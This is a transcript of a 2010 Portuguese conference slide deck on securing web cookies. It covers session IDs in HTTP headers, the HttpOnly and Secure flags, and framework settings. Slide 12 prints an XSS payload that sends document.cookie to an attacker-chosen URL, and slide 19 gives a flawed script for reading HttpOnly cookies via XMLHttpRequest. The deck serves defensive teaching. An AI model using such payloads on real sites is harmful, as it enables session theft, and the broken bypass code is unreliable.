Download - Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Transcript
Page 1: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Desenvolvimento web seguro: cookies

Tchelinux 2010 - Caxias do Sul

Rodolfo Stangherlin

Page 2: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Sumário

ApresentaçãoHTTP é stateless  - e daí?RiscosExplorando com JavascriptHttponly - Risco minimizado Secure - Só HTTPSConclusão

Page 3: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Apresentação

Rodolfo StangherlinTécnico em Desenvolvimento de Sistemas - CETECBacharelando em Ciência da Computação na UCS Trabalha em informática desde 2005

sobreviveu à suporte Linux/FreeBSDdesenvolveu alguma coisa em PHPtrabalha atualmente com Python/Django

atualmente desenvolvedor Python/Django no NPDU (UCS)

Page 4: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless  - e daí?

HTTP (Hypertext Transfer Protocol) é um protocolo da camada de aplicação do modelo OSI.

Dizer que o protocolo é Stateless significa que a conexão não é mantida:

Page 5: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Fonte: http://wagnerelias.com

Page 6: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Cookies são enviados para identificar quem está enviando a requisição

Page 7: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Cookies são enviados para identificar quem está fazendo a requisição

Isso é feito através de HEADERS

Page 8: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Resposta criando um cookie: HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:22:07 GMT Server: WSGIServer/0.1 Python/2.5.5 Vary: Cookie Content-Type: text/html; charset=utf-8 Set-Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570; expires=Thu, 01-Jul-2010 03:22:07 GMT; Max-Age=1209600; Path=/ 

Page 9: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Requisição com o cookie já indentificado: GET /capa/ HTTP/1.1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570

Page 10: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Riscos

sequestro de sessãofurto de dadosproblemas de autenticação...

Page 11: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Riscos

Page 12: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Explorando com Javascript

<script language="javascript" type="text/javascript"> document.location='/false/?cks=' + document.cookie; </script>

Page 13: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Explorando com Javascript

/false/pode ser qualquer URL, que receberia os cookies que identificam a sessão (como o SESSION_ID ou PHPSESSID)

document.cookiePropriedade que contém todos os cookies da página: "csrftoken=8fb73324ffff93d9e2eed7e1d5184b6a; sessionid=d6efaa3ee92a9ac89ec0f0b4763cc248"

Page 14: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

pq é necessário acessar o cookie de sessão via

javascript?

Page 15: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

não é necessário!

Page 16: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco amenizado

Adicionando a flag "httponly" na resposta do servidor, o navegador bloqueará acesso ao cookie via javascript:

HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:27:51 GMT Server: WSGIServer/0.1 Python/2.6.5+ Content-Type: text/html; charset=utf-8 Set-Cookie: csrftoken=e0957542e6b3b25785a3d08ded669f8; Max-Age=31449600; Path=/ Set-Cookie: sessionid=903da9d05cdf07e7bea5c0e8d725ea0f; expires=Thu, 01-Jul-2010 03:27:50 GMT; httponly; Max-Age=1209600; Path=/

Page 17: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco amenizado

Então, com javascript:

document.cookie

"csrftoken=e0957542e6b3b25785a3d08ded669f8"

Page 18: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

risco eliminado? Não Usando Ajax (XMLHttpRequest), o cookie é passado e pode ser recuperado, mas é muito mais complexo

Page 19: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizadoburlando o HttpOnlyvar doc;try { doc = new XMLHttpRequest(); } catch(e) {}if (!req) try { doc = new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) {}if (!req) try { doc = new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) {} doc.open(“HEAD”, document.location, true);doc.send(null);doc.onreadystatechange=function() {if(doc.readyState==4) { if(doc.status==200) {  var hidden=”";  var headers=doc.getAllResponseHeaders().split(” “);  for(i=0;i<headers.length;i++) {   var off1 = headers[i].indexOf(” “)+1;   var off2 = headers[i].indexOf(“;”)+1;   var cookie=headers[i].substring(off1, off2);   hidden=hidden+cookie+” “;  } } alert(“httpOnly cookie: “+hidden);}}

Page 20: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

pq não é assim por default? HttpOnly não é padrão Web

não está na RFC 2109 - HTTP State Management Mechanism)

 criado pela Microsoft no IE6

hoje compatível com navegadores mais popularesMozilla Firefox (a partir da versão 3.0)Opera (a partir da versão 9.5)Google Chrome (desde a versão beta)Safari (desde versão 4)

Page 21: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

Django (Python)suporte apenas via middleware, fora do código "oficial", pois segue os padrões

 Rails (Ruby)

HttpOnly ativado por default PHP

configurável através do php.ini desde a versão 5.2.0session.cookie_httponly = True

setar cookie usando "header()"usar parâmentro "http_only=True" na função setcookie

http://br.php.net/manual/en/function.setcookie.php

Page 22: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

Dia 18/06, o site f-secure.com publicou um ataque de XSS:

Page 23: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

Passando o código javascript pela URL, ele era executado ao acessar a página...

Page 24: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Secure - Só HTTPS

Indica para o navegador enviar o cookie apenas em conexões seguras (HTTPS)  HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:46:30 GMT Server: Apache mod_wsgi/3.1 Python/2.6.4 Expires: Thu, 17 Jun 2010 03:46:30 GMT Vary: Cookie,Accept-Encoding Last-Modified: Thu, 17 Jun 2010 03:46:30 GMT Set-Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8; httponly; Path=/; secure

Page 25: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Secure - Só HTTPS

https://ucsvirtual.ucs.br/capa/

GET /capa/ HTTP/1.1 Host: ucsvirtual.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8

Page 26: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Secure - Só HTTPS

http://www.ucs.br/site  GET /site HTTP/1.1 Host: www.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive

Page 27: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Conclusão

Na maioria das vezes, o acesso ao cookie de sessão nunca é utilizado via javascript.

 

Talvez por causa disso as pessoas nunca lembrem que isso pode significar uma

vulnerabilidade

Page 28: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Conclusão

Apenas HttpOnly + Secure não é suficiente.  

O ideal é nunca permitir javascript seja exibido ;)

Django o faz por defaultPHP pode usar função strip_tags

Page 29: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Obrigado! 

Rodolfo Stangherlin

@[email protected]

http://ratosdelaboratorio.blogspot.com